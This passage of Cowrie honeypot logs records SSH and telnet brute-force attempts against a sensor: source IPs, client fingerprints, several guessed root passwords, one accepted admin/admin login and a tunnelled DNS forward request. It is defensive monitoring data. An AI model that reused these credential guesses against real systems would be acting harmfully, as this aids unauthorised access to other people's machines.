nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:28.926815Z","src_ip":"43.153.85.27","session":"b50013c3ad6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111","message":"login attempt [root/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:29.235087Z","src_ip":"43.153.85.27","session":"b50013c3ad6d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:29.793539Z","src_ip":"185.242.234.173","session":"f25ca9d91f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:29.797571Z","src_ip":"185.242.234.173","session":"f25ca9d91f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:30.306564Z","src_ip":"43.153.85.27","session":"b50013c3ad6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:30.633426Z","src_ip":"185.242.234.173","session":"f25ca9d91f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:31.846802Z","src_ip":"185.242.234.173","session":"f25ca9d91f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fa81e54179","protocol":"telnet","message":"New connection: 152.42.224.71:56630 (10.17.0.5:23) [session: a2fa81e54179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:32.606393Z"}
{"eventid":"cowrie.session.closed","duration":31.802741289138794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:38.101239Z","src_ip":"152.42.224.71","session":"5f67860322f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37750,"dst_ip":"159.203.135.109","dst_port":22,"session":"531fbebe260a","protocol":"ssh","message":"New connection: 103.153.68.219:37750 (159.203.135.109:22) [session: 531fbebe260a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:39.142412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:39.147518Z","src_ip":"103.153.68.219","session":"531fbebe260a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:39.397595Z","src_ip":"103.153.68.219","session":"531fbebe260a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22222","message":"login attempt [root/22222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:40.145327Z","src_ip":"103.153.68.219","session":"531fbebe260a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:41.398966Z","src_ip":"103.153.68.219","session":"531fbebe260a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26042,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe3959f1420","protocol":"ssh","message":"New connection: 87.251.64.176:26042 (10.17.0.5:22) [session: 7fe3959f1420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.296586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.301467Z","src_ip":"87.251.64.176","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.398520Z","src_ip":"87.251.64.176","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.698276Z","src_ip":"87.251.64.176","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.797350Z","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:43.900388Z","src_ip":"87.251.64.176","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:44.000107Z","src_ip":"87.251.64.176","session":"7fe3959f1420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa7799acb92","protocol":"telnet","message":"New connection: 152.42.224.71:37140 (10.17.0.5:23) [session: 3aa7799acb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:54.691048Z"}
{"eventid":"cowrie.session.closed","duration":25.936453580856323,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:58.542719Z","src_ip":"152.42.224.71","session":"a2fa81e54179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":54450,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf21248a7d90","protocol":"ssh","message":"New connection: 59.16.212.232:54450 (159.203.135.109:22) [session: cf21248a7d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:58.640508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:58.645652Z","src_ip":"59.16.212.232","session":"cf21248a7d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:58.845285Z","src_ip":"59.16.212.232","session":"cf21248a7d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wk123456","message":"login attempt [root/Wk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:59.674136Z","src_ip":"59.16.212.232","session":"cf21248a7d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:00.881339Z","src_ip":"59.16.212.232","session":"cf21248a7d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":51212,"dst_ip":"10.17.0.5","dst_port":22,"session":"920505507c58","protocol":"ssh","message":"New connection: 45.117.179.232:51212 (10.17.0.5:22) [session: 920505507c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:01.809923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:01.817660Z","src_ip":"45.117.179.232","session":"920505507c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:02.071149Z","src_ip":"45.117.179.232","session":"920505507c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2178270816803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:02.086471Z","src_ip":"152.42.224.71","session":"15e4530536f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39742,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f3d78f54dc","protocol":"telnet","message":"New connection: 152.42.224.71:39742 (10.17.0.5:23) [session: 46f3d78f54dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:02.517097Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2023","message":"login attempt [root/P@ssw0rd2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:03.102656Z","src_ip":"45.117.179.232","session":"920505507c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:04.358182Z","src_ip":"45.117.179.232","session":"920505507c58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38392,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a64da6117aa","protocol":"telnet","message":"New connection: 152.42.224.71:38392 (10.17.0.5:23) [session: 0a64da6117aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:09.314820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38398,"dst_ip":"10.17.0.5","dst_port":23,"session":"379d180069dd","protocol":"telnet","message":"New connection: 152.42.224.71:38398 (10.17.0.5:23) [session: 379d180069dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:15.465144Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56970,"dst_ip":"10.17.0.5","dst_port":23,"session":"c984be1e99a8","protocol":"telnet","message":"New connection: 152.42.224.71:56970 (10.17.0.5:23) [session: c984be1e99a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:16.497858Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdd76e189bb","protocol":"telnet","message":"New connection: 152.42.224.71:56954 (10.17.0.5:23) [session: 3bdd76e189bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:16.505229Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"508ef4a3c4aa","protocol":"telnet","message":"New connection: 152.42.224.71:56974 (10.17.0.5:23) [session: 508ef4a3c4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:18.741837Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38324,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b7c0c87dac","protocol":"ssh","message":"New connection: 147.45.197.250:38324 (10.17.0.5:22) [session: b9b7c0c87dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:21.235842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:21.241308Z","src_ip":"147.45.197.250","session":"b9b7c0c87dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:21.337491Z","src_ip":"147.45.197.250","session":"b9b7c0c87dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fisher","message":"login attempt [root/fisher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:21.624840Z","src_ip":"147.45.197.250","session":"b9b7c0c87dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56990,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ee4a59d868","protocol":"telnet","message":"New connection: 152.42.224.71:56990 (10.17.0.5:23) [session: 65ee4a59d868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:22.527844Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:22.722569Z","src_ip":"147.45.197.250","session":"b9b7c0c87dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57000,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e3a5ca1f2f","protocol":"telnet","message":"New connection: 152.42.224.71:57000 (10.17.0.5:23) [session: a2e3a5ca1f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:23.706567Z"}
{"eventid":"cowrie.session.closed","duration":120.00524473190308,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:27.665539Z","src_ip":"152.42.224.71","session":"4fcefb8afd0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":47016,"dst_ip":"10.17.0.5","dst_port":22,"session":"868846601471","protocol":"ssh","message":"New connection: 43.153.85.27:47016 (10.17.0.5:22) [session: 868846601471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:39.725382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:39:39.729142Z","src_ip":"43.153.85.27","session":"868846601471","protocol":"ssh"}
